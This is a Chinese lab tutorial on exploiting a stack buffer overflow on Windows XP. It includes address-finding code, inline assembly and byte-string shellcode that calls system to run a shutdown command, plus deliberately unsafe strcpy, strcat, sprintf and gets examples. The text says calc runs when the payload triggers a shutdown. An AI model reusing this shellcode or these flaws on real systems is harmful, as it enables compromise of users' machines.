1. 实验环境
- 操作系统:Windows XP系统 SP3
- IDE:Microsoft VC++6.0
2. 实验步骤
0x01.C程序编写
先使用危险函数编写一个简单的C程序并生成32位的exe文件
1 2 3 4 5 6 7 8 9 10 11 12
| #include<stdio.h> #include<string.h>
char name[] = "hello";
int main() { char buffer[8]; strcpy(buffer, name); printf("%s\n", buffer); getchar(); return 0; }
|
0x02.溢出分析
先拖入IDA找到C语言程序的入口函数并记录其地址

双击点击_main_0
进行跟进,即可看到C的main函数起始地址

1 2 3 4
| ; 函数调用前的操作 push ebp ; 先把当前函数的栈底ebp压入栈中 mov ebp, esp ; 为调用的函数分配新的栈底 sub esp, 4c ; 抬高栈顶esp指针,实际就是为当前函数分配局部变量空间
|
进入OD直接在0x00401010
按F2
下断点,并按F9
开始运行程序进行

到地址0x0040102D
时可以看下C语言中的调用strcpy
函数在汇编语言的实现过程

1 2 3 4
| push offset name ;将hello的变量地址压入栈中 lea eax, [ebp - 8] ; 并将栈底开始分配8byte大小的空间,在C语言中实际上相等于声明变量char buffer[8]; push eax ;将该变量地址压入栈中 call strcpy ; 调用strcpy(buffer, name),32位操作系统调用带参函数,参数从右往左先后压入栈中,再用call调用带参函数
|
strcpy
函数执行完成后,可以发现在栈中地址[EBP - 8]
即0012FF78
中内存已成功赋值为hello

但再仔细观察栈内存的情况,可以发现地址0012FF80
为main函数的栈底ebp指针,地址0012FF84
为main函数执行完后的返回地址(下一条待执行指令的地址),如果能将栈地址为0012FF84
内的返回地址改为我们执行shellcode代码的地址,则就可以执行shellcode。
如上图,目前栈中esp指针所指的内容为00401699
,即程序接下来要执行指令的内存地址,可先观察正常情况。

由于汇编中RETN
指令的作用是从栈中pop
出之前调用函数“call
指令的下一条指令的内存地址”,故程序会跳回地址为00401699
并执行该地址所指的指令;若代码中的name
变量改为下列所示,即buffer只能存储8个字节,但此时name中包含17个字节,那经过strcpy函数拷贝后,栈内存又会发生什么变化。
1 2
| char name[] = "HelloReverseWorld";
|

编译后运行会报错误弹窗,而地址0x6c726f57
从右往左按照ASCII翻译过来是Worl
,错误内容表示“该内存不能read”是因为该地址是一个无效地址,即EIP指针已指向该地址,但该地址内无内容,具体使用OD分析会更加形象



直接来到执行完strcpy
函数后,可以发现返回地址0012FF84
和main函数的ebp地址0012FF80
的内容全都被覆盖了,继续往下走,走到指令RETN
后,也不难发现,返回的地址就是被覆盖的内容6C726F57
,即RETN
完后,会从栈中将该地址pop出来,并跳转到该地址指向指令,但该指令明显是个无效地址,所以OD的CPU窗口会跳转到空界面,并且会报错。
故整理下栈溢出漏洞利用的逻辑:
- 找出包含栈溢出漏洞的代码,并确定返回地址;
- 确定需要其他几个函数调用的内存地址;
- 编写汇编代码,并提取shellcode;
0x03.定位溢出点
上次调试可以发现控制返回地址的是Worl
这四个字符,不过可以再全部改为以下字符串,进行确定:
1
| char name[] = "HelloReverseADDR";
|
确定合适的地址有很多种方法,例如找出指令jmp esp
、call ecx
等等的机器码以及对应的地址,由于机器编码都是固定的,但每台系统的机器码所对应的地址可能不同,故需要根据机器码找出对应的地址即可(但实际上现在都开启了地址随机化)
其中运行程序时会自动载入kernel32.dll
,故从该动态链接库中找jmp esp
最为方便
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include <windows.h> #include <stdio.h> #include <stdlib.h>
int main(){ BYTE *ptr; int position; HINSTANCE handle; bool done_flag = FALSE; handle = LoadLibrary("kernel32.dll"); if(!handle){ printf("load dll error!"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++){ try{ if(ptr[position]==0xFF && ptr[position+1]==0xE4){ int address = (int)ptr+position; printf("opcode found at 0x%x\n",address); } } catch(...){ int address = (int)ptr+position; printf("end of 0x%x\n",address); done_flag=true; } } getchar(); return 0; }
|
编译运行上述代码,可得到所有机器码jmp esp
的地址,随便选择一个即可,本次实验选择0x7c874413
作为覆盖返回地址的地址。

除了jmp esp
指令,还需要获取以下函数的内存地址:
LoadLibrary
函数,在kernel32.dll动态链接库中,用于导入其他动态链接库;
system
函数,在msvcrt.dll
动态链接库中,用于执行系统命令;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #include <windows.h> #include <stdio.h> #include <stdlib.h>
typedef void (*MYPROC) (LPTSTR);
void SearchSystemInMsvcrt() { HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("msvcrt.dll"); ProcAdd = (MYPROC) GetProcAddress (LibHandle, "system"); printf("system addr = 0x%x\n", ProcAdd); }
void SearchLoadLibrary() { HINSTANCE k32 = GetModuleHandle(TEXT("kernel32.dll")); DWORD addrW = (DWORD)GetProcAddress(k32, "LoadLibraryW"); DWORD addrA = (DWORD)GetProcAddress(k32, "LoadLibraryA"); printf("LoadLibraryA addr = 0x%x\n", addrA); printf("LoadLibraryW addr = 0x%x\n\n", addrW); }
int main(){ SearchLoadLibrary(); SearchSystemInMsvcrt(); getchar(); return 0; }
|

0x04.编写并提取shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| int main() {
_asm { sub esp, 0x50 xor ebx, ebx
push ebx push 0x20206c6c push 0x642e7472 push 0x6376736d mov ecx, esp push ecx;
mov eax, 0x7C801D7B call eax push ebx push 0x3320742d push 0x202d7320 push 0x6e776f64 push 0x74756873 mov ecx, esp push ecx mov eax, 0x77BF93C7 call eax
push ebx; mov eax, 0x7c81cb12 call eax } return 0; }
|
然后通过 Microsoft Visual C++ 6.0
或Ollydbg
进行提取shellcode

最终提取的shellcode如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| char name[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x13\x44\x87\x7c" //jmp esp 0x7c874413 "\x83\xEC\x50" //SUB ESP,50 "\x33\xDB" //XOR EBX,EBX "\x53" //PUSH EBX "\x68\x6C\x6C\x20\x20" //PUSH 20206C6C "\x68\x72\x74\x2E\x64" //PUSH 642E7472 "\x68\x6D\x73\x76\x63" //PUSH 6376736D "\x8B\xCC" //MOV ECX,ESP "\x51" //PUSH ECX "\xB8\x7B\x1D\x80\x7C" //MOV EAX,7C801D7B "\xFF\xD0" //CALL EAX "\x53" //PUSH EBX "\x68\x2D\x74\x20\x33" "\x68\x20\x2D\x73\x20" "\x68\x64\x6F\x77\x6E" // down "\x68\x73\x68\x75\x74" "\x8B\xCC" //MOV ECX,ESP "\x51" //PUSH ECX "\xB8\xC7\x93\xBF\x77" //MOV EAX,77BF93C7 "\xFF\xD0" //CALL EAX "\x53" //PUSH EBX "\xB8\x12\xCB\x81\x7C" //MOV EAX,7C81CB12 "\xFF\xD0"; //CALL EAX
|
修改源程序后运行即可弹出计算机

顺便总结了部分可触发栈溢出的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| #include<stdio.h> #include<string.h>
void StrcpyOverFlow(char buffer[], char shellcode[]) { char content[8]; strcat(buffer, shellcode); strcpy(content, buffer); printf("%s\n", content); }
void StrcatOverFlow(char buffer[], char shellcode[]) { char content[8] = "Hello"; strcat(buffer, shellcode); strcat(content, buffer); printf("%s\n", content); }
void SprintfOverFlow(char buffer[], char shellcode[]) { char content[8]; strcat(buffer, shellcode); sprintf(content, "%s", buffer); printf("%s\n", content); }
int main() { char buffer1[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char buffer2[] ="\x90\x90\x90\x90\x90\x90\x90"; char buffer3[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char shellcode[] = "\x13\x44\x87\x7c" "\x83\xEC\x50" "\x33\xDB" "\x53" "\x68\x6C\x6C\x20\x20" "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x8B\xCC" "\x51" "\xB8\x7B\x1D\x80\x7C" "\xFF\xD0" "\x53" "\x68\x63\x61\x6c\x63" "\x8B\xCC" "\x51" "\xB8\xC7\x93\xBF\x77" "\xFF\xD0" "\x53" "\xB8\x12\xCB\x81\x7C" "\xFF\xD0"; char name[8]; gets(name); printf("%s", name); return 0; }
|